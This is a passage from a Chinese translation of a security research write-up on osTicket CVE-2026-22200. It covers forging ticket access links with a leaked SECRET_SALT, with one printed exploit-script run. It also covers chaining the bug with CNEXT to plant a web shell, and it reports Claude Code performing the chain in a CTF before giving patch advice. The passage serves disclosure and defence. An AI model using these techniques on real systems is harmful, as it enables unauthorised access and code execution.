leaf=&quot;&quot;&gt;还用于生成访问令牌的链接。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;在Windows安装环境中，影响可能更大；攻击者很可能能够访问已加入域的计算机上的远程SMB共享文件，并通过强制身份验证尝试，泄露运行osTicket的服务账户的NTLM哈希值。&lt;/span&gt;&lt;/p&gt;&lt;h3 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;&quot;&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;伪造工单访问权限&lt;/span&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;/h3&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;SECRET_SALT&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;值还允许攻击者绕过身份验证来获取工单访问权限。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;osTicket默认允许访客用户使用访问链接直接查看工单，无需登录。生成此访问链接有两种方法，其展示了一种较旧但仍有效、且更容易伪造的方法。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;该过时方法生成的访问链接基于四个组件构建：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;内部工单ID（一个自增的标识符）&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;外部工单号码（默认为6位数字）&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;用户电子邮箱&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;SECRET_SALT&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;值&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;除SECRET_SALT外，工单访问链接的其他组件均可进行无速率限制的暴力破解。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;若启用了用户自助注册（默认），用户注册端点将充当预言机，泄露某个用户邮箱是否已注册，从而实现用户名枚举。&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;osticket_registered_user_enum.py&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;脚本演示了如何实现这一点。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;如前所述，用户及其关联的外部工单号码可使用“检查工单访问权限”预言机和&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;osticket_access_bruteforce.py&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;脚本进行高效暴力破解。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;内部工单ID是自增标识符，从1开始。综上所述，攻击者可按如下方式伪造一个访问链接：&lt;/span&gt;&lt;/p&gt;&lt;pre data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;&quot;&gt;%&amp;nbsp;python3&amp;nbsp;osticket_forge_access_link.py&amp;nbsp;637963&amp;nbsp;140&amp;nbsp;&amp;#39;XXX@XXX.com&amp;#39;&amp;nbsp;&amp;#39;SEFDaIg1UP=Rh0xHE=Ij6Lew8u49L=Tt&amp;#39;&amp;nbsp;http://osticket.example.com[*]&amp;nbsp;为&amp;nbsp;ID:&amp;nbsp;140,&amp;nbsp;邮箱:&amp;nbsp;XXX@XXX.com&amp;nbsp;计算哈希...[*]&amp;nbsp;计算出的哈希&amp;nbsp;(a):&amp;nbsp;a32056617064315cae1b4d98a8c95772[*]&amp;nbsp;向链接发送&amp;nbsp;GET&amp;nbsp;请求:&amp;nbsp;http://osticket.example.com/view.php[*]&amp;nbsp;请求参数:&amp;nbsp;{&amp;#39;t&amp;#39;:&amp;nbsp;&amp;#39;637963&amp;#39;,&amp;nbsp;&amp;#39;e&amp;#39;:&amp;nbsp;&amp;#39;XXX@XXX.com&amp;#39;,&amp;nbsp;&amp;#39;a&amp;#39;:&amp;nbsp;&amp;#39;a32056617064315cae1b4d98a8c95772&amp;#39;}[+]&amp;nbsp;请求成功发送。分析响应中...--------------------------------------------------发送的完整&amp;nbsp;URL:&amp;nbsp;http://osticket.example.com/tickets.php?id=140状态码:&amp;nbsp;200&lt;/pre&gt;&lt;h2 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;&quot;&gt;&lt;span style=&quot;float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 5%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(),to(rgba(255,255,255,0.1)));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;结合CNEXT将文件读取升级为远程代码执行&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 95%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;&quot;&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2024年，@cfreal_在&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;glibc&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;的&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;iconv()&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;函数中发现了一个巧妙的基于堆的缓冲区溢出漏洞，编号为CVE-2024-2961（亦称CNEXT）。该漏洞的核心在于，任何PHP文件读取原语都可被转化为远程代码执行。据报道，该漏洞已于2024年与影响Adobe Magento的未认证XML外部实体注入漏洞CVE-2024-34102在野结合利用。研究团队证明，同样的远程代码执行链对CVE-2026-22200也是可行的。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;原始利用程序在高级层面上需要知晓PHP进程的内存布局（可从&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;/proc/self/maps&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;文件获取）以及目标上的完整&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;libc.so.6&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;二进制文件，以准确计算偏移量。但如前文“文件读取的特殊性”部分所述，osTicket的PDF生成器将每个“图像”的窃取限制在大约45KB。因此，他们修改了利用程序以适应osTicket。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;首先，他们利用文件读取原语读取目标上的&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;/proc/self/maps&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;和部分&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;libc.so.6&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;文件，采用zlib+base64编码。&lt;/span&gt;&lt;/p&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130103176983566361248.png&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;获取内存布局和libc信息的载荷&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;1024&quot; style=&quot;display: block;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin: 0px;&quot; data-imgfileid=&quot;502779370&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;text-align: center;font-size: 12px;display: flex;justify-content: center;align-items: center;width: 100%;margin-top: -35px;background: rgba(0,0,0,0.7);color: white;line-height: 35px;z-index: 20;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;获取内存布局和libc信息的载荷&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;将载荷作为回复添加到现有工单后，他们将工单打印为PDF并提取文件。&lt;/span&gt;&lt;/p&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130103176983566389602.png&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;提取/proc/self/maps和libc信息&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;1024&quot; style=&quot;display: block;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin: 0px;&quot; data-imgfileid=&quot;502779371&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;text-align: center;font-size: 12px;display: flex;justify-content: center;align-items: center;width: 100%;margin-top: -35px;background: rgba(0,0,0,0.7);color: white;line-height: 35px;z-index: 20;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;提取/proc/self/maps和libc信息&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;接下来，他们使用&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;NT_GNU_BUILD_ID&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;来识别部分获取的libc库，并使用&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;pwntools&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;库从https://libc.rip/下载完整的&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;libc&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130103176983566322364.png&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;根据Build ID下载完整libc&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;1024&quot; style=&quot;display: block;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin: 0px;&quot; data-imgfileid=&quot;502779372&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;text-align: center;font-size: 12px;display: flex;justify-content: center;align-items: center;width: 100%;margin-top: -35px;background: rgba(0,0,0,0.7);color: white;line-height: 35px;z-index: 20;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;根据Build ID下载完整libc&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;随后，利用完整的&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;libc&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;和&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;/proc/self/maps&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;文件，他们生成了一个CNEXT载荷，用于将Web Shell写入应用程序的Web根目录。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img alt=&quot;生成CNEXT载荷以写入Web Shell&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;502779368&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130103176983566343658.png&quot; referrerpolicy=&quot;no-referrer&quot; data-w=&quot;1024&quot; style=&quot;display: block;margin: 0 auto;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;&quot;/&gt;](https://horizon3.ai/wp-content/uploads/2026/01/Screenshot-2026-01-21-at-9.28.49-PM.png)&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;接着，他们将CNEXT载荷添加到现有工单中，并再次将其导出为PDF以触发漏洞。这将导致内部服务器错误并且连接被重置，但Web Shell将变得可用，而应用程序将继续正常运行。&lt;/span&gt;&lt;/p&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130103176983566398646.png&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;触发CNEXT载荷后得到Web Shell&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;1024&quot; style=&quot;display: block;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin: 0px;&quot; data-imgfileid=&quot;502779374&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;text-align: center;font-size: 12px;display: flex;justify-content: center;align-items: center;width: 100%;margin-top: -35px;background: rgba(0,0,0,0.7);color: white;line-height: 35px;z-index: 20;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;触发CNEXT载荷后得到Web Shell&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;h2 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;&quot;&gt;&lt;span style=&quot;float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 5%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(),to(rgba(255,255,255,0.1)));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;AI辅助漏洞利用测试&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 95%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;&quot;&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;端到端的漏洞利用序列较为复杂，虽然研究团队可以自行编写一键式利用脚本，但他们很好奇，配备Opus 4.5的Claude Code能否自行将这些步骤组合起来。他们针对运行默认配置的osTicket设置了一场CTF挑战，并在根目录放置了一个随机生成的标志文件。他们向Claude提供了漏洞描述和本报告中概述的步骤提示，并指示Claude仅在需要访问电子邮件时才寻求帮助。&lt;/span&gt;&lt;/p&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img alt=&quot;向AI（Claude）提供漏洞利用提示&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;502779375&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130103176983566318886.png&quot; referrerpolicy=&quot;no-referrer&quot; data-w=&quot;1024&quot; style=&quot;display: block;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin: 0px;&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;text-align: center;font-size: 12px;display: flex;justify-content: center;align-items: center;width: 100%;margin-top: -35px;background: rgba(0,0,0,0.7);color: white;line-height: 35px;z-index: 20;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;向AI（Claude）提供漏洞利用提示&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;不到10分钟，Claude就成功完成了挑战，仅在注册账户后需要确认邮件内容时才寻求了一次帮助。&lt;/span&gt;&lt;/p&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img alt=&quot;AI成功执行漏洞利用链&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;502779376&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130103176983566395597.png&quot; referrerpolicy=&quot;no-referrer&quot; data-w=&quot;1024&quot; style=&quot;display: block;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin: 0px;&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;text-align: center;font-size: 12px;display: flex;justify-content: center;align-items: center;width: 100%;margin-top: -35px;background: rgba(0,0,0,0.7);color: white;line-height: 35px;z-index: 20;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;AI成功执行漏洞利用链&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;h2 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;&quot;&gt;&lt;span style=&quot;float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 5%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(),to(rgba(255,255,255,0.1)));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;修复建议&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 95%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;&quot;&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;如果正在运行面向互联网的osTicket实例，应立即更新至最新的osTicket版本 1.18.3 / 1.17.7或更高版本。该补丁通过在调用mPDF之前禁用PHP流包装器来解决CVE-2026-22200。如果在Linux服务器上运行osTicket，还建议检查服务器是否存在CVE-2024-2961并进行修补，该漏洞影响&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;glibc&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;版本 &amp;lt;= 2.39。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;如果无法立即打补丁，以下缓解措施有助于阻止匿名攻击者的利用：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;span 